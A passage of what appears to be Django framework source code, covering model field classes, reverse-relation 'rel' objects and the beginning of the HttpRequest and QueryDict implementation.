        kwargs['max_length'] = 15
        super(IPAddressField, self).__init__(*args, **kwargs)

    def deconstruct(self):
        name, path, args, kwargs = super(IPAddressField, self).deconstruct()
        del kwargs['max_length']
        return name, path, args, kwargs

    def get_prep_value(self, value):
        value = super(IPAddressField, self).get_prep_value(value)
        if value is None:
            return None
        return six.text_type(value)

    def get_internal_type(self):
        return "IPAddressField"


class GenericIPAddressField(Field):
    empty_strings_allowed = False
    description = _("IP address")
    default_error_messages = {}

    def __init__(self, verbose_name=None, name=None, protocol='both',
                 unpack_ipv4=False, *args, **kwargs):
        self.unpack_ipv4 = unpack_ipv4
        self.protocol = protocol
        self.default_validators, invalid_error_message = \
            validators.ip_address_validators(protocol, unpack_ipv4)
        self.default_error_messages['invalid'] = invalid_error_message
        kwargs['max_length'] = 39
        super(GenericIPAddressField, self).__init__(verbose_name, name, *args,
                                                    **kwargs)

    def check(self, **kwargs):
        errors = super(GenericIPAddressField, self).check(**kwargs)
        errors.extend(self._check_blank_and_null_values(**kwargs))
        return errors

    def _check_blank_and_null_values(self, **kwargs):
        if not getattr(self, 'null', False) and getattr(self, 'blank', False):
            return [
                checks.Error(
                    'GenericIPAddressFields cannot have blank=True if null=False, '
                    'as blank values are stored as nulls.',
                    obj=self,
                    id='fields.E150',
                )
            ]
        return []

    def deconstruct(self):
        name, path, args, kwargs = super(GenericIPAddressField, self).deconstruct()
        if self.unpack_ipv4 is not False:
            kwargs['unpack_ipv4'] = self.unpack_ipv4
        if self.protocol != "both":
            kwargs['protocol'] = self.protocol
        if kwargs.get("max_length") == 39:
            del kwargs['max_length']
        return name, path, args, kwargs

    def get_internal_type(self):
        return "GenericIPAddressField"

    def to_python(self, value):
        if value is None:
            return None
        if not isinstance(value, six.string_types):
            value = force_text(value)
        value = value.strip()
        if ':' in value:
            return clean_ipv6_address(value, self.unpack_ipv4, self.error_messages['invalid'])
        return value

    def get_db_prep_value(self, value, connection, prepared=False):
        if not prepared:
            value = self.get_prep_value(value)
        return connection.ops.adapt_ipaddressfield_value(value)

    def get_prep_value(self, value):
        value = super(GenericIPAddressField, self).get_prep_value(value)
        if value is None:
            return None
        if value and ':' in value:
            try:
                return clean_ipv6_address(value, self.unpack_ipv4)
            except exceptions.ValidationError:
                pass
        return six.text_type(value)

    def formfield(self, **kwargs):
        defaults = {
            'protocol': self.protocol,
            'form_class': forms.GenericIPAddressField,
        }
        defaults.update(kwargs)
        return super(GenericIPAddressField, self).formfield(**defaults)


class NullBooleanField(Field):
    empty_strings_allowed = False
    default_error_messages = {
        'invalid': _("'%(value)s' value must be either None, True or False."),
    }
    description = _("Boolean (Either True, False or None)")

    def __init__(self, *args, **kwargs):
        kwargs['null'] = True
        kwargs['blank'] = True
        super(NullBooleanField, self).__init__(*args, **kwargs)

    def deconstruct(self):
        name, path, args, kwargs = super(NullBooleanField, self).deconstruct()
        del kwargs['null']
        del kwargs['blank']
        return name, path, args, kwargs

    def get_internal_type(self):
        return "NullBooleanField"

    def to_python(self, value):
        if value is None:
            return None
        if value in (True, False):
            return bool(value)
        if value in ('None',):
            return None
        if value in ('t', 'True', '1'):
            return True
        if value in ('f', 'False', '0'):
            return False
        raise exceptions.ValidationError(
            self.error_messages['invalid'],
            code='invalid',
            params={'value': value},
        )

    def get_prep_value(self, value):
        value = super(NullBooleanField, self).get_prep_value(value)
        if value is None:
            return None
        return self.to_python(value)

    def formfield(self, **kwargs):
        defaults = {
            'form_class': forms.NullBooleanField,
            'required': not self.blank,
            'label': capfirst(self.verbose_name),
            'help_text': self.help_text}
        defaults.update(kwargs)
        return super(NullBooleanField, self).formfield(**defaults)


class PositiveIntegerRelDbTypeMixin(object):

    def rel_db_type(self, connection):
        """
        Return the data type that a related field pointing to this field should
        use. In most cases, a foreign key pointing to a positive integer
        primary key will have an integer column data type but some databases
        (e.g. MySQL) have an unsigned integer type. In that case
        (related_fields_match_type=True), the primary key should return its
        db_type.
        """
        if connection.features.related_fields_match_type:
            return self.db_type(connection)
        else:
            return IntegerField().db_type(connection=connection)


class PositiveIntegerField(PositiveIntegerRelDbTypeMixin, IntegerField):
    description = _("Positive integer")

    def get_internal_type(self):
        return "PositiveIntegerField"

    def formfield(self, **kwargs):
        defaults = {'min_value': 0}
        defaults.update(kwargs)
        return super(PositiveIntegerField, self).formfield(**defaults)


class PositiveSmallIntegerField(PositiveIntegerRelDbTypeMixin, IntegerField):
    description = _("Positive small integer")

    def get_internal_type(self):
        return "PositiveSmallIntegerField"

    def formfield(self, **kwargs):
        defaults = {'min_value': 0}
        defaults.update(kwargs)
        return super(PositiveSmallIntegerField, self).formfield(**defaults)


class SlugField(CharField):
    default_validators = [validators.validate_slug]
    description = _("Slug (up to %(max_length)s)")

    def __init__(self, *args, **kwargs):
        kwargs['max_length'] = kwargs.get('max_length', 50)
        # Set db_index=True unless it's been set manually.
        if 'db_index' not in kwargs:
            kwargs['db_index'] = True
        self.allow_unicode = kwargs.pop('allow_unicode', False)
        if self.allow_unicode:
            self.default_validators = [validators.validate_unicode_slug]
        super(SlugField, self).__init__(*args, **kwargs)

    def deconstruct(self):
        name, path, args, kwargs = super(SlugField, self).deconstruct()
        if kwargs.get("max_length") == 50:
            del kwargs['max_length']
        if self.db_index is False:
            kwargs['db_index'] = False
        else:
            del kwargs['db_index']
        if self.allow_unicode is not False:
            kwargs['allow_unicode'] = self.allow_unicode
        return name, path, args, kwargs

    def get_internal_type(self):
        return "SlugField"

    def formfield(self, **kwargs):
        defaults = {'form_class': forms.SlugField, 'allow_unicode': self.allow_unicode}
        defaults.update(kwargs)
        return super(SlugField, self).formfield(**defaults)


class SmallIntegerField(IntegerField):
    description = _("Small integer")

    def get_internal_type(self):
        return "SmallIntegerField"


class TextField(Field):
    description = _("Text")

    def get_internal_type(self):
        return "TextField"

    def to_python(self, value):
        if isinstance(value, six.string_types) or value is None:
            return value
        return smart_text(value)

    def get_prep_value(self, value):
        value = super(TextField, self).get_prep_value(value)
        return self.to_python(value)

    def formfield(self, **kwargs):
        # Passing max_length to forms.CharField means that the value's length
        # will be validated twice. This is considered acceptable since we want
        # the value in the form field (to pass into widget for example).
        defaults = {'max_length': self.max_length, 'widget': forms.Textarea}
        defaults.update(kwargs)
        return super(TextField, self).formfield(**defaults)


class TimeField(DateTimeCheckMixin, Field):
    empty_strings_allowed = False
    default_error_messages = {
        'invalid': _("'%(value)s' value has an invalid format. It must be in "
                     "HH:MM[:ss[.uuuuuu]] format."),
        'invalid_time': _("'%(value)s' value has the correct format "
                          "(HH:MM[:ss[.uuuuuu]]) but it is an invalid time."),
    }
    description = _("Time")

    def __init__(self, verbose_name=None, name=None, auto_now=False,
                 auto_now_add=False, **kwargs):
        self.auto_now, self.auto_now_add = auto_now, auto_now_add
        if auto_now or auto_now_add:
            kwargs['editable'] = False
            kwargs['blank'] = True
        super(TimeField, self).__init__(verbose_name, name, **kwargs)

    def _check_fix_default_value(self):
        """
        Adds a warning to the checks framework stating, that using an actual
        time or datetime value is probably wrong; it's only being evaluated on
        server start-up.

        For details see ticket #21905
        """
        if not self.has_default():
            return []

        now = timezone.now()
        if not timezone.is_naive(now):
            now = timezone.make_naive(now, timezone.utc)
        value = self.default
        if isinstance(value, datetime.datetime):
            second_offset = datetime.timedelta(seconds=10)
            lower = now - second_offset
            upper = now + second_offset
            if timezone.is_aware(value):
                value = timezone.make_naive(value, timezone.utc)
        elif isinstance(value, datetime.time):
            second_offset = datetime.timedelta(seconds=10)
            lower = now - second_offset
            upper = now + second_offset
            value = datetime.datetime.combine(now.date(), value)
            if timezone.is_aware(value):
                value = timezone.make_naive(value, timezone.utc).time()
        else:
            # No explicit time / datetime value -- no checks necessary
            return []
        if lower <= value <= upper:
            return [
                checks.Warning(
                    'Fixed default value provided.',
                    hint='It seems you set a fixed date / time / datetime '
                         'value as default for this field. This may not be '
                         'what you want. If you want to have the current date '
                         'as default, use `django.utils.timezone.now`',
                    obj=self,
                    id='fields.W161',
                )
            ]

        return []

    def deconstruct(self):
        name, path, args, kwargs = super(TimeField, self).deconstruct()
        if self.auto_now is not False:
            kwargs["auto_now"] = self.auto_now
        if self.auto_now_add is not False:
            kwargs["auto_now_add"] = self.auto_now_add
        if self.auto_now or self.auto_now_add:
            del kwargs['blank']
            del kwargs['editable']
        return name, path, args, kwargs

    def get_internal_type(self):
        return "TimeField"

    def to_python(self, value):
        if value is None:
            return None
        if isinstance(value, datetime.time):
            return value
        if isinstance(value, datetime.datetime):
            # Not usually a good idea to pass in a datetime here (it loses
            # information), but this can be a side-effect of interacting with a
            # database backend (e.g. Oracle), so we'll be accommodating.
            return value.time()

        try:
            parsed = parse_time(value)
            if parsed is not None:
                return parsed
        except ValueError:
            raise exceptions.ValidationError(
                self.error_messages['invalid_time'],
                code='invalid_time',
                params={'value': value},
            )

        raise exceptions.ValidationError(
            self.error_messages['invalid'],
            code='invalid',
            params={'value': value},
        )

    def pre_save(self, model_instance, add):
        if self.auto_now or (self.auto_now_add and add):
            value = datetime.datetime.now().time()
            setattr(model_instance, self.attname, value)
            return value
        else:
            return super(TimeField, self).pre_save(model_instance, add)

    def get_prep_value(self, value):
        value = super(TimeField, self).get_prep_value(value)
        return self.to_python(value)

    def get_db_prep_value(self, value, connection, prepared=False):
        # Casts times into the format expected by the backend
        if not prepared:
            value = self.get_prep_value(value)
        return connection.ops.adapt_timefield_value(value)

    def value_to_string(self, obj):
        val = self.value_from_object(obj)
        return '' if val is None else val.isoformat()

    def formfield(self, **kwargs):
        defaults = {'form_class': forms.TimeField}
        defaults.update(kwargs)
        return super(TimeField, self).formfield(**defaults)


class URLField(CharField):
    default_validators = [validators.URLValidator()]
    description = _("URL")

    def __init__(self, verbose_name=None, name=None, **kwargs):
        kwargs['max_length'] = kwargs.get('max_length', 200)
        super(URLField, self).__init__(verbose_name, name, **kwargs)

    def deconstruct(self):
        name, path, args, kwargs = super(URLField, self).deconstruct()
        if kwargs.get("max_length") == 200:
            del kwargs['max_length']
        return name, path, args, kwargs

    def formfield(self, **kwargs):
        # As with CharField, this will cause URL validation to be performed
        # twice.
        defaults = {
            'form_class': forms.URLField,
        }
        defaults.update(kwargs)
        return super(URLField, self).formfield(**defaults)


class BinaryField(Field):
    description = _("Raw binary data")
    empty_values = [None, b'']

    def __init__(self, *args, **kwargs):
        kwargs['editable'] = False
        super(BinaryField, self).__init__(*args, **kwargs)
        if self.max_length is not None:
            self.validators.append(validators.MaxLengthValidator(self.max_length))

    def deconstruct(self):
        name, path, args, kwargs = super(BinaryField, self).deconstruct()
        del kwargs['editable']
        return name, path, args, kwargs

    def get_internal_type(self):
        return "BinaryField"

    def get_placeholder(self, value, compiler, connection):
        return connection.ops.binary_placeholder_sql(value)

    def get_default(self):
        if self.has_default() and not callable(self.default):
            return self.default
        default = super(BinaryField, self).get_default()
        if default == '':
            return b''
        return default

    def get_db_prep_value(self, value, connection, prepared=False):
        value = super(BinaryField, self).get_db_prep_value(value, connection, prepared)
        if value is not None:
            return connection.Database.Binary(value)
        return value

    def value_to_string(self, obj):
        """Binary data is serialized as base64"""
        return b64encode(force_bytes(self.value_from_object(obj))).decode('ascii')

    def to_python(self, value):
        # If it's a string, it should be base64-encoded data
        if isinstance(value, six.text_type):
            return six.memoryview(b64decode(force_bytes(value)))
        return value


class UUIDField(Field):
    default_error_messages = {
        'invalid': _("'%(value)s' is not a valid UUID."),
    }
    description = 'Universally unique identifier'
    empty_strings_allowed = False

    def __init__(self, verbose_name=None, **kwargs):
        kwargs['max_length'] = 32
        super(UUIDField, self).__init__(verbose_name, **kwargs)

    def deconstruct(self):
        name, path, args, kwargs = super(UUIDField, self).deconstruct()
        del kwargs['max_length']
        return name, path, args, kwargs

    def get_internal_type(self):
        return "UUIDField"

    def get_db_prep_value(self, value, connection, prepared=False):
        if value is None:
            return None
        if not isinstance(value, uuid.UUID):
            try:
                value = uuid.UUID(value)
            except AttributeError:
                raise TypeError(self.error_messages['invalid'] % {'value': value})

        if connection.features.has_native_uuid_field:
            return value
        return value.hex

    def to_python(self, value):
        if value and not isinstance(value, uuid.UUID):
            try:
                return uuid.UUID(value)
            except ValueError:
                raise exceptions.ValidationError(
                    self.error_messages['invalid'],
                    code='invalid',
                    params={'value': value},
                )
        return value

    def formfield(self, **kwargs):
        defaults = {
            'form_class': forms.UUIDField,
        }
        defaults.update(kwargs)
        return super(UUIDField, self).formfield(**defaults)






"""
"Rel objects" for related fields.

"Rel objects" (for lack of a better name) carry information about the relation
modeled by a related field and provide some utility functions. They're stored
in the ``remote_field`` attribute of the field.

They also act as reverse fields for the purposes of the Meta API because
they're the closest concept currently available.
"""

from __future__ import unicode_literals

import warnings

from django.core import exceptions
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import smart_text
from django.utils.functional import cached_property

from . import BLANK_CHOICE_DASH


class ForeignObjectRel(object):
    """
    Used by ForeignObject to store information about the relation.

    ``_meta.get_fields()`` returns this class to provide access to the field
    flags for the reverse relation.
    """

    # Field flags
    auto_created = True
    concrete = False
    editable = False
    is_relation = True

    # Reverse relations are always nullable (Django can't enforce that a
    # foreign key on the related model points to this model).
    null = True

    def __init__(self, field, to, related_name=None, related_query_name=None,
                 limit_choices_to=None, parent_link=False, on_delete=None):
        self.field = field
        self.model = to
        self.related_name = related_name
        self.related_query_name = related_query_name
        self.limit_choices_to = {} if limit_choices_to is None else limit_choices_to
        self.parent_link = parent_link
        self.on_delete = on_delete

        self.symmetrical = False
        self.multiple = True

    # Some of the following cached_properties can't be initialized in
    # __init__ as the field doesn't have its model yet. Calling these methods
    # before field.contribute_to_class() has been called will result in
    # AttributeError
    @property
    def to(self):
        warnings.warn(
            "Usage of ForeignObjectRel.to attribute has been deprecated. "
            "Use the model attribute instead.",
            RemovedInDjango20Warning, 2)
        return self.model

    @cached_property
    def hidden(self):
        return self.is_hidden()

    @cached_property
    def name(self):
        return self.field.related_query_name()

    @property
    def remote_field(self):
        return self.field

    @property
    def target_field(self):
        """
        When filtering against this relation, returns the field on the remote
        model against which the filtering should happen.
        """
        target_fields = self.get_path_info()[-1].target_fields
        if len(target_fields) > 1:
            raise exceptions.FieldError("Can't use target_field for multicolumn relations.")
        return target_fields[0]

    @cached_property
    def related_model(self):
        if not self.field.model:
            raise AttributeError(
                "This property can't be accessed before self.field.contribute_to_class has been called.")
        return self.field.model

    @cached_property
    def many_to_many(self):
        return self.field.many_to_many

    @cached_property
    def many_to_one(self):
        return self.field.one_to_many

    @cached_property
    def one_to_many(self):
        return self.field.many_to_one

    @cached_property
    def one_to_one(self):
        return self.field.one_to_one

    def get_lookup(self, lookup_name):
        return self.field.get_lookup(lookup_name)

    def get_internal_type(self):
        return self.field.get_internal_type()

    @property
    def db_type(self):
        return self.field.db_type

    def __repr__(self):
        return '<%s: %s.%s>' % (
            type(self).__name__,
            self.related_model._meta.app_label,
            self.related_model._meta.model_name,
        )

    def get_choices(self, include_blank=True, blank_choice=BLANK_CHOICE_DASH):
        """
        Return choices with a default blank choices included, for use as
        SelectField choices for this field.

        Analog of django.db.models.fields.Field.get_choices(), provided
        initially for utilization by RelatedFieldListFilter.
        """
        return (blank_choice if include_blank else []) + [
            (x._get_pk_val(), smart_text(x)) for x in self.related_model._default_manager.all()
        ]

    def is_hidden(self):
        "Should the related object be hidden?"
        return bool(self.related_name) and self.related_name[-1] == '+'

    def get_joining_columns(self):
        return self.field.get_reverse_joining_columns()

    def get_extra_restriction(self, where_class, alias, related_alias):
        return self.field.get_extra_restriction(where_class, related_alias, alias)

    def set_field_name(self):
        """
        Set the related field's name, this is not available until later stages
        of app loading, so set_field_name is called from
        set_attributes_from_rel()
        """
        # By default foreign object doesn't relate to any remote field (for
        # example custom multicolumn joins currently have no remote field).
        self.field_name = None

    def get_accessor_name(self, model=None):
        # This method encapsulates the logic that decides what name to give an
        # accessor descriptor that retrieves related many-to-one or
        # many-to-many objects. It uses the lower-cased object_name + "_set",
        # but this can be overridden with the "related_name" option.
        # Due to backwards compatibility ModelForms need to be able to provide
        # an alternate model. See BaseInlineFormSet.get_default_prefix().
        opts = model._meta if model else self.related_model._meta
        model = model or self.related_model
        if self.multiple:
            # If this is a symmetrical m2m relation on self, there is no reverse accessor.
            if self.symmetrical and model == self.model:
                return None
        if self.related_name:
            return self.related_name
        return opts.model_name + ('_set' if self.multiple else '')

    def get_cache_name(self):
        return "_%s_cache" % self.get_accessor_name()

    def get_path_info(self):
        return self.field.get_reverse_path_info()


class ManyToOneRel(ForeignObjectRel):
    """
    Used by the ForeignKey field to store information about the relation.

    ``_meta.get_fields()`` returns this class to provide access to the field
    flags for the reverse relation.

    Note: Because we somewhat abuse the Rel objects by using them as reverse
    fields we get the funny situation where
    ``ManyToOneRel.many_to_one == False`` and
    ``ManyToOneRel.one_to_many == True``. This is unfortunate but the actual
    ManyToOneRel class is a private API and there is work underway to turn
    reverse relations into actual fields.
    """

    def __init__(self, field, to, field_name, related_name=None, related_query_name=None,
                 limit_choices_to=None, parent_link=False, on_delete=None):
        super(ManyToOneRel, self).__init__(
            field, to,
            related_name=related_name,
            related_query_name=related_query_name,
            limit_choices_to=limit_choices_to,
            parent_link=parent_link,
            on_delete=on_delete,
        )

        self.field_name = field_name

    def __getstate__(self):
        state = self.__dict__.copy()
        state.pop('related_model', None)
        return state

    def get_related_field(self):
        """
        Return the Field in the 'to' object to which this relationship is tied.
        """
        field = self.model._meta.get_field(self.field_name)
        if not field.concrete:
            raise exceptions.FieldDoesNotExist("No related field named '%s'" % self.field_name)
        return field

    def set_field_name(self):
        self.field_name = self.field_name or self.model._meta.pk.name


class OneToOneRel(ManyToOneRel):
    """
    Used by OneToOneField to store information about the relation.

    ``_meta.get_fields()`` returns this class to provide access to the field
    flags for the reverse relation.
    """

    def __init__(self, field, to, field_name, related_name=None, related_query_name=None,
                 limit_choices_to=None, parent_link=False, on_delete=None):
        super(OneToOneRel, self).__init__(
            field, to, field_name,
            related_name=related_name,
            related_query_name=related_query_name,
            limit_choices_to=limit_choices_to,
            parent_link=parent_link,
            on_delete=on_delete,
        )

        self.multiple = False


class ManyToManyRel(ForeignObjectRel):
    """
    Used by ManyToManyField to store information about the relation.

    ``_meta.get_fields()`` returns this class to provide access to the field
    flags for the reverse relation.
    """

    def __init__(self, field, to, related_name=None, related_query_name=None,
                 limit_choices_to=None, symmetrical=True, through=None,
                 through_fields=None, db_constraint=True):
        super(ManyToManyRel, self).__init__(
            field, to,
            related_name=related_name,
            related_query_name=related_query_name,
            limit_choices_to=limit_choices_to,
        )

        if through and not db_constraint:
            raise ValueError("Can't supply a through model and db_constraint=False")
        self.through = through

        if through_fields and not through:
            raise ValueError("Cannot specify through_fields without a through model")
        self.through_fields = through_fields

        self.symmetrical = symmetrical
        self.db_constraint = db_constraint

    def get_related_field(self):
        """
        Return the field in the 'to' object to which this relationship is tied.
        Provided for symmetry with ManyToOneRel.
        """
        opts = self.through._meta
        if self.through_fields:
            field = opts.get_field(self.through_fields[0])
        else:
            for field in opts.fields:
                rel = getattr(field, 'remote_field', None)
                if rel and rel.model == self.model:
                    break
        return field.foreign_related_fields[0]






from __future__ import unicode_literals

import copy
import re
import sys
from io import BytesIO
from itertools import chain

from django.conf import settings
from django.core import signing
from django.core.exceptions import (
    DisallowedHost, ImproperlyConfigured, RequestDataTooBig,
)
from django.core.files import uploadhandler
from django.http.multipartparser import MultiPartParser, MultiPartParserError
from django.utils import six
from django.utils.datastructures import ImmutableList, MultiValueDict
from django.utils.encoding import (
    escape_uri_path, force_bytes, force_str, force_text, iri_to_uri,
)
from django.utils.http import is_same_domain, limited_parse_qsl
from django.utils.six.moves.urllib.parse import (
    quote, urlencode, urljoin, urlsplit,
)

RAISE_ERROR = object()
host_validation_re = re.compile(r"^([a-z0-9.-]+|\[[a-f0-9]*:[a-f0-9\.:]+\])(:\d+)?$")


class UnreadablePostError(IOError):
    pass


class RawPostDataException(Exception):
    """
    You cannot access raw_post_data from a request that has
    multipart/* POST data if it has been accessed via POST,
    FILES, etc..
    """
    pass


class HttpRequest(object):
    """A basic HTTP request."""

    # The encoding used in GET/POST dicts. None means use default setting.
    _encoding = None
    _upload_handlers = []

    def __init__(self):
        # WARNING: The `WSGIRequest` subclass doesn't call `super`.
        # Any variable assignment made here should also happen in
        # `WSGIRequest.__init__()`.

        self.GET = QueryDict(mutable=True)
        self.POST = QueryDict(mutable=True)
        self.COOKIES = {}
        self.META = {}
        self.FILES = MultiValueDict()

        self.path = ''
        self.path_info = ''
        self.method = None
        self.resolver_match = None
        self._post_parse_error = False
        self.content_type = None
        self.content_params = None

    def __repr__(self):
        if self.method is None or not self.get_full_path():
            return force_str('<%s>' % self.__class__.__name__)
        return force_str(
            '<%s: %s %r>' % (self.__class__.__name__, self.method, force_str(self.get_full_path()))
        )

    def _get_raw_host(self):
        """
        Return the HTTP host using the environment or request headers. Skip
        allowed hosts protection, so may return an insecure host.
        """
        # We try three options, in order of decreasing preference.
        if settings.USE_X_FORWARDED_HOST and (
                'HTTP_X_FORWARDED_HOST' in self.META):
            host = self.META['HTTP_X_FORWARDED_HOST']
        elif 'HTTP_HOST' in self.META:
            host = self.META['HTTP_HOST']
        else:
            # Reconstruct the host using the algorithm from PEP 333.
            host = self.META['SERVER_NAME']
            server_port = self.get_port()
            if server_port != ('443' if self.is_secure() else '80'):
                host = '%s:%s' % (host, server_port)
        return host

    def get_host(self):
        """Return the HTTP host using the environment or request headers."""
        host = self._get_raw_host()

        # There is no hostname validation when DEBUG=True
        if settings.DEBUG:
            return host

        domain, port = split_domain_port(host)
        if domain and validate_host(domain, settings.ALLOWED_HOSTS):
            return host
        else:
            msg = "Invalid HTTP_HOST header: %r." % host
            if domain:
                msg += " You may need to add %r to ALLOWED_HOSTS." % domain
            else:
                msg += " The domain name provided is not valid according to RFC 1034/1035."
            raise DisallowedHost(msg)

    def get_port(self):
        """Return the port number for the request as a string."""
        if settings.USE_X_FORWARDED_PORT and 'HTTP_X_FORWARDED_PORT' in self.META:
            port = self.META['HTTP_X_FORWARDED_PORT']
        else:
            port = self.META['SERVER_PORT']
        return str(port)

    def get_full_path(self, force_append_slash=False):
        # RFC 3986 requires query string arguments to be in the ASCII range.
        # Rather than crash if this doesn't happen, we encode defensively.
        return '%s%s%s' % (
            escape_uri_path(self.path),
            '/' if force_append_slash and not self.path.endswith('/') else '',
            ('?' + iri_to_uri(self.META.get('QUERY_STRING', ''))) if self.META.get('QUERY_STRING', '') else ''
        )

    def get_signed_cookie(self, key, default=RAISE_ERROR, salt='', max_age=None):
        """
        Attempts to return a signed cookie. If the signature fails or the
        cookie has expired, raises an exception... unless you provide the
        default argument in which case that value will be returned instead.
        """
        try:
            cookie_value = self.COOKIES[key]
        except KeyError:
            if default is not RAISE_ERROR:
                return default
            else:
                raise
        try:
            value = signing.get_cookie_signer(salt=key + salt).unsign(
                cookie_value, max_age=max_age)
        except signing.BadSignature:
            if default is not RAISE_ERROR:
                return default
            else:
                raise
        return value

    def get_raw_uri(self):
        """
        Return an absolute URI from variables available in this request. Skip
        allowed hosts protection, so may return insecure URI.
        """
        return '{scheme}://{host}{path}'.format(
            scheme=self.scheme,
            host=self._get_raw_host(),
            path=self.get_full_path(),
        )

    def build_absolute_uri(self, location=None):
        """
        Builds an absolute URI from the location and the variables available in
        this request. If no ``location`` is specified, the absolute URI is
        built on ``request.get_full_path()``. Anyway, if the location is
        absolute, it is simply converted to an RFC 3987 compliant URI and
        returned and if location is relative or is scheme-relative (i.e.,
        ``//example.com/``), it is urljoined to a base URL constructed from the
        request variables.
        """
        if location is None:
            # Make it an absolute url (but schemeless and domainless) for the
            # edge case that the path starts with '//'.
            location = '//%s' % self.get_full_path()
        bits = urlsplit(location)
        if not (bits.scheme and bits.netloc):
            current_uri = '{scheme}://{host}{path}'.format(scheme=self.scheme,
                                                           host=self.get_host(),
                                                           path=self.path)
            # Join the constructed URL with the provided location, which will
            # allow the provided ``location`` to apply query strings to the
            # base path as well as override the host, if it begins with //
            location = urljoin(current_uri, location)
        return iri_to_uri(location)

    def _get_scheme(self):
        """
        Hook for subclasses like WSGIRequest to implement. Returns 'http' by
        default.
        """
        return 'http'

    @property
    def scheme(self):
        if settings.SECURE_PROXY_SSL_HEADER:
            try:
                header, value = settings.SECURE_PROXY_SSL_HEADER
            except ValueError:
                raise ImproperlyConfigured(
                    'The SECURE_PROXY_SSL_HEADER setting must be a tuple containing two values.'
                )
            if self.META.get(header) == value:
                return 'https'
        return self._get_scheme()

    def is_secure(self):
        return self.scheme == 'https'

    def is_ajax(self):
        return self.META.get('HTTP_X_REQUESTED_WITH') == 'XMLHttpRequest'

    @property
    def encoding(self):
        return self._encoding

    @encoding.setter
    def encoding(self, val):
        """
        Sets the encoding used for GET/POST accesses. If the GET or POST
        dictionary has already been created, it is removed and recreated on the
        next access (so that it is decoded correctly).
        """
        self._encoding = val
        if hasattr(self, '_get'):
            del self._get
        if hasattr(self, '_post'):
            del self._post

    def _initialize_handlers(self):
        self._upload_handlers = [uploadhandler.load_handler(handler, self)
                                 for handler in settings.FILE_UPLOAD_HANDLERS]

    @property
    def upload_handlers(self):
        if not self._upload_handlers:
            # If there are no upload handlers defined, initialize them from settings.
            self._initialize_handlers()
        return self._upload_handlers

    @upload_handlers.setter
    def upload_handlers(self, upload_handlers):
        if hasattr(self, '_files'):
            raise AttributeError("You cannot set the upload handlers after the upload has been processed.")
        self._upload_handlers = upload_handlers

    def parse_file_upload(self, META, post_data):
        """Returns a tuple of (POST QueryDict, FILES MultiValueDict)."""
        self.upload_handlers = ImmutableList(
            self.upload_handlers,
            warning="You cannot alter upload handlers after the upload has been processed."
        )
        parser = MultiPartParser(META, post_data, self.upload_handlers, self.encoding)
        return parser.parse()

    @property
    def body(self):
        if not hasattr(self, '_body'):
            if self._read_started:
                raise RawPostDataException("You cannot access body after reading from request's data stream")

            # Limit the maximum request data size that will be handled in-memory.
            if (settings.DATA_UPLOAD_MAX_MEMORY_SIZE is not None and
                    int(self.META.get('CONTENT_LENGTH') or 0) > settings.DATA_UPLOAD_MAX_MEMORY_SIZE):
                raise RequestDataTooBig('Request body exceeded settings.DATA_UPLOAD_MAX_MEMORY_SIZE.')

            try:
                self._body = self.read()
            except IOError as e:
                six.reraise(UnreadablePostError, UnreadablePostError(*e.args), sys.exc_info()[2])
            self._stream = BytesIO(self._body)
        return self._body

    def _mark_post_parse_error(self):
        self._post = QueryDict()
        self._files = MultiValueDict()
        self._post_parse_error = True

    def _load_post_and_files(self):
        """Populate self._post and self._files if the content-type is a form type"""
        if self.method != 'POST':
            self._post, self._files = QueryDict(encoding=self._encoding), MultiValueDict()
            return
        if self._read_started and not hasattr(self, '_body'):
            self._mark_post_parse_error()
            return

        if self.content_type == 'multipart/form-data':
            if hasattr(self, '_body'):
                # Use already read data
                data = BytesIO(self._body)
            else:
                data = self
            try:
                self._post, self._files = self.parse_file_upload(self.META, data)
            except MultiPartParserError:
                # An error occurred while parsing POST data. Since when
                # formatting the error the request handler might access
                # self.POST, set self._post and self._file to prevent
                # attempts to parse POST data again.
                # Mark that an error occurred. This allows self.__repr__ to
                # be explicit about it instead of simply representing an
                # empty POST
                self._mark_post_parse_error()
                raise
        elif self.content_type == 'application/x-www-form-urlencoded':
            self._post, self._files = QueryDict(self.body, encoding=self._encoding), MultiValueDict()
        else:
            self._post, self._files = QueryDict(encoding=self._encoding), MultiValueDict()

    def close(self):
        if hasattr(self, '_files'):
            for f in chain.from_iterable(l[1] for l in self._files.lists()):
                f.close()

    # File-like and iterator interface.
    #
    # Expects self._stream to be set to an appropriate source of bytes by
    # a corresponding request subclass (e.g. WSGIRequest).
    # Also when request data has already been read by request.POST or
    # request.body, self._stream points to a BytesIO instance
    # containing that data.

    def read(self, *args, **kwargs):
        self._read_started = True
        try:
            return self._stream.read(*args, **kwargs)
        except IOError as e:
            six.reraise(UnreadablePostError, UnreadablePostError(*e.args), sys.exc_info()[2])

    def readline(self, *args, **kwargs):
        self._read_started = True
        try:
            return self._stream.readline(*args, **kwargs)
        except IOError as e:
            six.reraise(UnreadablePostError, UnreadablePostError(*e.args), sys.exc_info()[2])

    def xreadlines(self):
        while True:
            buf = self.readline()
            if not buf:
                break
            yield buf

    __iter__ = xreadlines

    def readlines(self):
        return list(iter(self))


class QueryDict(MultiValueDict):
    """
    A specialized MultiValueDict which represents a query string.

    A QueryDict can be used to represent GET or POST data. It subclasses
    MultiValueDict since keys in such data can be repeated, for instance
    in the data from a form with a <select multiple> field.

    By default QueryDicts are immutable, though the copy() method
    will always return a mutable copy.

    Both keys and values set on this class are converted from the given encoding
    (DEFAULT_CHARSET by default) to unicode.
    """

    # These are both reset in __init__, but is specified here at the class
    # level so that unpickling will have valid values
    _mutable = True
    _encoding = None

    def __init__(self, query_string=None, mutable=False, encoding=None):
        super(QueryDict, self).__init__()
        if not encoding:
            encoding = settings.DEFAULT_CHARSET
        self.encoding = encoding
        query_string = query_string or ''
        parse_qsl_kwargs = {
            'keep_blank_values': True,
            'fields_limit': settings.DATA_UPLOAD_MAX_NUMBER_FIELDS,
            'encoding': encoding,
        }
        if six.PY3:
            if isinstance(query_string, bytes):
                # query_string normally contains URL-encoded data, a subset of ASCII.
                try:
                    query_string = query_string.decode(encoding)
                except UnicodeDecodeError:
                    # ... but some user agents are misbehaving :-(
                    query_string = query_string.decode('iso-8859-1')
            for key, value in limited_parse_qsl(query_string, **parse_qsl_kwargs):
                self.appendlist(key, value)
        else:
            for key, value in limited_parse_qsl(query_string, **parse_qsl_kwargs):
                try:
                    value = value.decode(encoding)
                except UnicodeDecodeError:
                    value = value.decode('iso-8859-1')
                self.appendlist(force_text(key, encoding, errors='replace'),
                                value)
        self._mutable = mutable

    @classmethod
